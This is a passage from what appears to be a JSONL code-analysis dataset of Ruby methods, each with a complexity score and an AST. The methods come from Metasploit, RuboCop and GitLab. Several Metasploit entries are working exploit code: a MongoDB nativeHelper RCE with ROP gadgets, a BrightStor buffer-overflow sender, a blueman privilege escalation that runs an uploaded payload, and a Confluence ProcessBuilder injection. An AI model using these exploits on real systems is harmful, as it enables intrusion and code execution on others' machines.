UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n Opt::RPORT(27017),\n OptString.new('DB', [ true, \"Database to use\", \"admin\"]),\n OptString.new('COLLECTION', [ false, \"Collection to use (it must to exist). Better to let empty\", \"\"]),\n OptString.new('USERNAME', [ true, \"Login to use\", \"\"]),\n OptString.new('PASSWORD', [ true, \"Password to use\", \"\"])\n ]\n )\n end","complexity_score":15.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"MongoDB nativeHelper.apply Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits the nativeHelper feature from spiderMonkey which allows\\n\"]},{\"type\":\"str\",\"children\":[\" remote code execution by calling it with specially crafted arguments. This module\\n\"]},{\"type\":\"str\",\"children\":[\" has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"agix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-1892\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"91632\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"58695\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux - mongod 2.2.3 - 32bits\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"mmap\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[135722856]},{\"type\":\"int\",\"children\":[140930311]},{\"type\":\"int\",\"children\":[825454592]},{\"type\":\"int\",\"children\":[8192]},{\"type\":\"int\",\"children\":[7]},{\"type\":\"int\",\"children\":[49]},{\"type\":\"int\",\"children\":[4294967295]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[135718088]},{\"type\":\"int\",\"children\":[825454592]},{\"type\":\"int\",\"children\":[825454592]},{\"type\":\"int\",\"children\":[202047488]},{\"type\":\"int\",\"children\":[8192]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ret\"]},{\"type\":\"int\",\"children\":[134568560]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"gadget1\"]},{\"type\":\"int\",\"children\":[137814532]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"gadget2\"]},{\"type\":\"int\",\"children\":[138768728]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"gadget3\"]},{\"type\":\"int\",\"children\":[137697318]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"gadget4\"]},{\"type\":\"int\",\"children\":[134568556]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"gadget5\"]},{\"type\":\"int\",\"children\":[138768728]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-03-24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[27017]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DB\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Database to use\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"COLLECTION\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Collection to use (it must to exist). Better to let empty\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Login to use\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password to use\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"016f576a-661b-4722-a49a-bbb5f6c57250"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/method_call_without_args_parentheses.rb","start_line":59,"raw_source":"def ineligible_node?(node)\n node.camel_case_method? || node.implicit_call? || node.prefix_not?\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ineligible_node?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"camel_case_method?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"implicit_call?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"prefix_not?\"]}]}]}","id":"b1725de7-f6df-43c7-98d0-2c59d0e63014"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb","start_line":69,"raw_source":"def exploit\n connect\n\n data = rand_text_alpha_upper(20080) + [target.ret].pack('V')\n data << payload.encoded + rand_text_alpha_upper(25000 - 20084 - payload.encoded.length)\n\n sploit = \"0000025000\"\t# Command Length Field\n sploit << \"rxsSetDataGrowthScheduleAndFilter\"\t# RPC Command\n sploit << \"~~\"\t# Constant Argument Delimiter\n sploit << data\n\n print_status(\"Trying target #{target.name}...\")\n sock.put(sploit)\n\n handler\n disconnect\n end","complexity_score":37.55,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[20080]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[25000]},\"-\",{\"type\":\"int\",\"children\":[20084]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"length\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"str\",\"children\":[\"0000025000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"str\",\"children\":[\"rxsSetDataGrowthScheduleAndFilter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"str\",\"children\":[\"~~\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"51742070-300e-4dec-9db0-02c312d954b8"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/web_services/servlet_helper.rb","start_line":60,"raw_source":"def create_error_response(error:, message:, code:)\n error_response = {\n code: code,\n message: \"#{message} #{error.message}\"\n }\n set_json_error_response(response: error_response, code: code)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_error_response\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"error\"]},{\"type\":\"kwarg\",\"children\":[\"message\"]},{\"type\":\"kwarg\",\"children\":[\"code\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"set_json_error_response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response\"]},{\"type\":\"lvar\",\"children\":[\"error_response\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]}]}]}]}","id":"3d219c74-cd7a-478d-8885-5db5c0660d4d"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/remote/http/remote_event_data_service.rb","start_line":9,"raw_source":"def events(opts)\n path = get_path_select(opts, EVENT_API_PATH)\n json_to_mdm_object(self.get_data(path, nil, opts), EVENT_MDM_CLASS)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"events\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"get_path_select\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"const\",\"children\":[null,\"EVENT_API_PATH\"]}]}]},{\"type\":\"send\",\"children\":[null,\"json_to_mdm_object\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_data\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"const\",\"children\":[null,\"EVENT_MDM_CLASS\"]}]}]}]}","id":"0bd45180-7b10-450a-ac08-2e62704ac8b1"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/blueman_set_dhcp_handler_dbus_priv_esc.rb","start_line":133,"raw_source":"def exploit\n if !datastore['ForceExploit'] && is_root?\n fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')\n end\n\n unless writable? base_dir\n fail_with Failure::BadConfig, \"#{base_dir} is not writable\"\n end\n\n payload_name = \".#{rand_text_alphanumeric 10..15}\"\n payload_path = \"#{base_dir}/#{payload_name}\"\n upload_and_chmodx payload_path, generate_payload_exe\n\n print_status 'Executing payload...'\n res = execute_python \"os.system(\\\"#{payload_path}&\\\")\"\n vprint_line res\n\n unless res.include? 'eval(\"nc.set_dhcp_handler(%s)\" % dhcp_handler)'\n fail_with Failure::NotVulnerable, 'The target is not vulnerable'\n end\n\n if res.include? 'SyntaxError:'\n fail_with Failure::Unknown, 'Payload execution failed due to syntax error'\n end\n end","complexity_score":30.1,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ForceExploit\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"is_root?\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Session already has root privileges. Set ForceExploit to override.\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable?\",{\"type\":\"send\",\"children\":[null,\"base_dir\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_dir\"]}]},{\"type\":\"str\",\"children\":[\" is not writable\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[15]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_dir\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"upload_and_chmodx\",{\"type\":\"lvar\",\"children\":[\"payload_path\"]},{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing payload...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"execute_python\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"os.system(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_path\"]}]},{\"type\":\"str\",\"children\":[\"&\\\")\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_line\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"include?\",{\"type\":\"str\",\"children\":[\"eval(\\\"nc.set_dhcp_handler(%s)\\\" % dhcp_handler)\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"The target is not vulnerable\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"include?\",{\"type\":\"str\",\"children\":[\"SyntaxError:\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Payload execution failed due to syntax error\"]}]},null]}]}]}","id":"38a9a1d9-3a44-4aa9-9681-77e0510ae842"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/atlassian_confluence_rce_cve_2024_21683.rb","start_line":183,"raw_source":"def upload_payload(shell)\n # Grab a valid macro dashboard CSRF token.\n csrf_macro = get_csrf('/admin/plugins/newcode/configure.action', 'macro')\n\n # Initialize a multipart form.\n payload_form = Rex::MIME::Message.new\n\n # ProcessBuilder string - this will inject the sh/cmd.exe sequence as the first two args and decode the base64 msf fetch payload as the third.\n payload_string = \"new java.lang.ProcessBuilder(#{shell}, new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(payload.encoded)}'))).start()\"\n\n # Add the CSRF token, payload file, and 'newLanguageName' value. Both the 'languageFile' name and the 'newLanguageName' value can be any string.\n payload_form.add_part(csrf_macro, 'text/plain', 'binary', 'form-data; name=\"atl_token\"')\n payload_form.add_part(payload_string, 'text/plain', 'binary', \"form-data; name=\\\"languageFile\\\"; filename=\\\"#{rand_text_hex(10)}\\\"\")\n payload_form.add_part(rand_text_hex(10), 'text/plain', 'binary', 'form-data; name=\"newLanguageName\"')\n\n vprint_status(\"Crafted ProcessBuilder payload string: #{payload_string}\")\n vprint_status('Sending POST request to trigger code execution')\n\n # POST the multipart form for code execution. A neutral error will be returned in the web response, which we can ignore.\n res_upload = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins', 'newcode', 'addlanguage.action'),\n 'keep_cookies' => 'true',\n 'ctype' => \"multipart/form-data; boundary=#{payload_form.bound}\",\n 'data' => payload_form.to_s\n )\n\n # Connection failure, no response, or malformed response.\n print_error('Target did not respond as expected during code execution attempt') unless res_upload\n\n # If the response to the multipart request does not return a 200.\n print_error('The application returned a non-200 response during code execution attempt') unless res_upload.code == 200\n end","complexity_score":32.0,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shell\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"csrf_macro\",{\"type\":\"send\",\"children\":[null,\"get_csrf\",{\"type\":\"str\",\"children\":[\"/admin/plugins/newcode/configure.action\"]},{\"type\":\"str\",\"children\":[\"macro\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_form\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_string\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"new java.lang.ProcessBuilder(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shell\"]}]},{\"type\":\"str\",\"children\":[\", new java.lang.String(java.util.Base64.getDecoder().decode('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"str\",\"children\":[\"'))).start()\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_form\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"csrf_macro\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"str\",\"children\":[\"binary\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"atl_token\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_form\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"payload_string\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"str\",\"children\":[\"binary\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"languageFile\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_hex\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_form\"]},\"add_part\",{\"type\":\"send\",\"children\":[null,\"rand_text_hex\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"str\",\"children\":[\"binary\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"newLanguageName\\\"\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Crafted ProcessBuilder payload string: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_string\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Sending POST request to trigger code execution\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res_upload\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"str\",\"children\":[\"plugins\"]},{\"type\":\"str\",\"children\":[\"newcode\"]},{\"type\":\"str\",\"children\":[\"addlanguage.action\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_form\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_form\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_upload\"]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Target did not respond as expected during code execution attempt\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_upload\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"The application returned a non-200 response during code execution attempt\"]}]}]}]}]}","id":"249e86da-b8e5-4d86-91fc-39f20e6bf26f"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/packages/nuget/symbol.rb","start_line":40,"raw_source":"def self.find_by_signature_and_file_and_checksum(signature, file_name, checksums)\n with_signature(signature)\n .with_file_name(file_name)\n .with_file_sha256(checksums)\n .where.not(orphan.where_values_hash)\n .take\n end","complexity_score":12.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_by_signature_and_file_and_checksum\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"signature\"]},{\"type\":\"arg\",\"children\":[\"file_name\"]},{\"type\":\"arg\",\"children\":[\"checksums\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_signature\",{\"type\":\"lvar\",\"children\":[\"signature\"]}]},\"with_file_name\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},\"with_file_sha256\",{\"type\":\"lvar\",\"children\":[\"checksums\"]}]},\"where\"]},\"not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"orphan\"]},\"where_values_hash\"]}]},\"take\"]}]}","id":"9738d9d9-0a49-4f6c-b02d-812cde219e4d"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/linux/system.rb","start_line":322,"raw_source":"def protected_symlinks?\n read_file('/proc/sys/fs/protected_symlinks').to_s.strip.eql? '1'\n rescue StandardError\n raise 'Could not determine protected_symlinks status'\n end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"protected_symlinks?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"str\",\"children\":[\"/proc/sys/fs/protected_symlinks\"]}]},\"to_s\"]},\"strip\"]},\"eql?\",{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Could not determine protected_symlinks status\"]}]}]},null]}]}","id":"7983d992-7754-4f02-8983-65f2800948da"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/integrations_helper.rb","start_line":348,"raw_source":"def fields_for_integration(integration)\n Integrations::FieldSerializer.new(integration: integration).represent(integration.form_fields).to_json\n 